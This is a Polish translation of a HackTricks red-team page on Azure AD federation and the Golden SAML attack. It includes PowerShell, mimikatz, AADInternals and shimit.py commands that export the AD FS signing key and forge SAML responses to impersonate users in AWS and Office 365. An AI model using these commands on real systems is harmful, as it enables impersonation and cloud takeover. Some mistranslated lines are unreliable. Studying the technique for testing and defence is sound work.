Az - Federation

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

From the docs:Federacja to zbiór domen, które nawiązały zaufanie. Poziom zaufania może się różnić, ale zazwyczaj obejmuje uwierzytelnianie i prawie zawsze obejmuje autoryzację. Typowa federacja może obejmować liczne organizacje, które nawiązały zaufanie do wspólnego dostępu do zestawu zasobów.

Możesz federować swoje lokalne środowisko z Azure AD i używać tej federacji do uwierzytelniania i autoryzacji. Ta metoda logowania zapewnia, że wszystkie uwierzytelnienia użytkowników odbywają się lokalnie. Ta metoda pozwala administratorom wdrażać bardziej rygorystyczne poziomy kontroli dostępu. Federacja z AD FS i PingFederate jest dostępna.

W zasadzie w Federacji wszystkie uwierzytelnienia odbywają się w lokalnym środowisku, a użytkownik doświadcza SSO we wszystkich zaufanych środowiskach. Dlatego użytkownicy mogą uzyskiwać dostęp do aplikacji w chmurze, używając swoich lokalnych poświadczeń.

Security Assertion Markup Language (SAML) jest używany do wymiany wszystkich informacji o uwierzytelnianiu i autoryzacji między dostawcami.

W każdej konfiguracji federacyjnej są trzy strony:

• Użytkownik lub Klient

• Dostawca Tożsamości (IdP)

• Dostawca Usług (SP)

(Obrazy z https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

1. Początkowo aplikacja (Dostawca Usług lub SP, taka jak konsola AWS lub klient webowy vSphere) jest dostępna dla użytkownika. Ten krok może być pominięty, prowadząc klienta bezpośrednio do IdP (Dostawca Tożsamości) w zależności od konkretnej implementacji.

2. Następnie SP identyfikuje odpowiedni IdP (np. AD FS, Okta) do uwierzytelnienia użytkownika. Następnie tworzy żądanie AuthnRequest SAML (Security Assertion Markup Language) i przekierowuje klienta do wybranego IdP.

3. IdP przejmuje, uwierzytelniając użytkownika. Po uwierzytelnieniu, IdP formułuje SAMLResponse i przesyła go do SP przez użytkownika.

4. Na koniec SP ocenia SAMLResponse. Jeśli zostanie pomyślnie zweryfikowany, co oznacza zaufanie do IdP, użytkownik uzyskuje dostęp. To oznacza zakończenie procesu logowania, umożliwiając użytkownikowi korzystanie z usługi.

Jeśli chcesz dowiedzieć się więcej o uwierzytelnianiu SAML i powszechnych atakach, przejdź do:

SAML AttacksHackTricks

Pivoting

• AD FS to model tożsamości oparty na roszczeniach.

• "..roszczenia to po prostu stwierdzenia (na przykład, imię, tożsamość, grupa), dotyczące użytkowników, które są używane głównie do autoryzacji dostępu do aplikacji opartych na roszczeniach znajdujących się wszędzie w Internecie."

• Roszczenia dla użytkownika są zapisane w tokenach SAML i są następnie podpisywane, aby zapewnić poufność przez IdP.

• Użytkownik jest identyfikowany przez ImmutableID. Jest to unikalny identyfikator globalny, przechowywany w Azure AD.

• ImmutableID jest przechowywany lokalnie jako ms-DS-ConsistencyGuid dla użytkownika i/lub może być wyprowadzony z GUID użytkownika.

• Więcej informacji w https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Atak Golden SAML:

• W ADFS, SAML Response jest podpisywany przez certyfikat podpisywania tokenów.

• Jeśli certyfikat zostanie skompromitowany, możliwe jest uwierzytelnienie do Azure AD jako DOWOLNY użytkownik zsynchronizowany z Azure AD!

• Tak jak w przypadku nadużycia PTA, zmiana hasła dla użytkownika lub MFA nie będzie miała żadnego wpływu, ponieważ fałszujemy odpowiedź uwierzytelniającą.

• Certyfikat można wyodrębnić z serwera AD FS z uprawnieniami DA, a następnie można go używać z dowolnej maszyny podłączonej do Internetu.

• Więcej informacji w https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Golden SAML

Proces, w którym Dostawca Tożsamości (IdP) produkuje SAMLResponse w celu autoryzacji logowania użytkownika, jest kluczowy. W zależności od konkretnej implementacji IdP, odpowiedź może być podpisana lub szyfrowana przy użyciu prywatnego klucza IdP. Procedura ta umożliwia Dostawcy Usług (SP) potwierdzenie autentyczności SAMLResponse, zapewniając, że rzeczywiście została wydana przez zaufany IdP.

Można to porównać do ataku złotego biletu, gdzie klucz uwierzytelniający tożsamość i uprawnienia użytkownika (KRBTGT dla złotych biletów, prywatny klucz podpisywania tokenów dla złotego SAML) może być manipulowany w celu fałszowania obiektu uwierzytelniającego (TGT lub SAMLResponse). To pozwala na podszywanie się pod dowolnego użytkownika, przyznając nieautoryzowany dostęp do SP.

Złote SAML oferują pewne zalety:

• Mogą być tworzone zdalnie, bez potrzeby bycia częścią domeny lub federacji.

• Pozostają skuteczne nawet przy włączonym uwierzytelnianiu dwuskładnikowym (2FA).

• Prywatny klucz podpisywania tokenów nie odnawia się automatycznie.

• Zmiana hasła użytkownika nie unieważnia już wygenerowanego SAML.

AWS + AD FS + Golden SAML

Usługi Federacji Active Directory (AD FS) to usługa Microsoftu, która ułatwia bezpieczną wymianę informacji o tożsamości między zaufanymi partnerami biznesowymi (federacja). W zasadzie pozwala usłudze domeny na dzielenie się tożsamościami użytkowników z innymi dostawcami usług w ramach federacji.

Z AWS ufającym skompromitowanej domenie (w federacji), ta luka może być wykorzystana do potencjalnego zdobycia dowolnych uprawnień w środowisku AWS. Atak wymaga prywatnego klucza używanego do podpisywania obiektów SAML, podobnie jak w przypadku potrzeby KRBTGT w ataku złotego biletu. Dostęp do konta użytkownika AD FS jest wystarczający, aby uzyskać ten prywatny klucz.

Wymagania do przeprowadzenia ataku złotego SAML obejmują:

• Prywatny klucz podpisywania tokenów

• Publiczny certyfikat IdP

• Nazwa IdP

• Nazwa roli (rola do przyjęcia)

• Domen\username

• Nazwa sesji roli w AWS

• ID konta Amazon

Tylko elementy pogrubione są obowiązkowe. Pozostałe można wypełnić według uznania.

Aby uzyskać prywatny klucz, konieczny jest dostęp do konta użytkownika AD FS. Stamtąd prywatny klucz można wyeksportować z osobistego magazynu za pomocą narzędzi takich jak mimikatz. Aby zebrać inne wymagane informacje, możesz wykorzystać snapin Microsoft.Adfs.Powershell w następujący sposób, upewniając się, że jesteś zalogowany jako użytkownik ADFS:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Z wszystkimi informacjami możliwe jest zapomnienie o ważnym SAMLResponse jako użytkownik, którego chcesz udawać, używając shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n [e-mail] -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n [e-mail] -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> chmura

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Możliwe jest również utworzenie ImmutableID użytkowników tylko w chmurze i ich podszywanie się.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

References

• https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed

• https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.